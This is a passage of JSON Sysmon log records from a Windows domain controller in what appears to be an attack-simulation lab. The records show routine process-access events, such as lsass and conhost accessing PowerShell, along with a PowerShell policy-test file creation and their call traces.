9b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5735,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5736,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5737,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5738,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5739,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.275\r\nSourceProcessGUID: {90617006-4171-5F2D-0000-0010F97D0800}\r\nSourceProcessId: 3292\r\nSourceThreadId: 4700\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4173-5F2D-0000-0010ABA40800}\r\nTargetProcessId: 2512\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.275","SourceProcessGUID":"{90617006-4171-5F2D-0000-0010F97D0800}","SourceProcessId":"3292","SourceThreadId":"4700","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4173-5F2D-0000-0010ABA40800}","TargetProcessId":"2512","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5740,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4173-5F2D-0000-0010ABA40800}\r\nTargetProcessId: 2512\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4173-5F2D-0000-0010ABA40800}","TargetProcessId":"2512","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5741,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.338\r\nProcessGuid: {90617006-4173-5F2D-0000-0010ABA40800}\r\nProcessId: 2512\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_cxtop0qo.kpd.ps1\r\nCreationUtcTime: 2020-08-07 11:56:35.322","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.338","ProcessGuid":"{90617006-4173-5F2D-0000-0010ABA40800}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_cxtop0qo.kpd.ps1","CreationUtcTime":"2020-08-07 11:56:35.322","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5742,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.385\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4173-5F2D-0000-0010ABA40800}\r\nTargetProcessId: 2512\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.385","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4173-5F2D-0000-0010ABA40800}","TargetProcessId":"2512","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5743,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.385\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4173-5F2D-0000-0010ABA40800}\r\nTargetProcessId: 2512\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 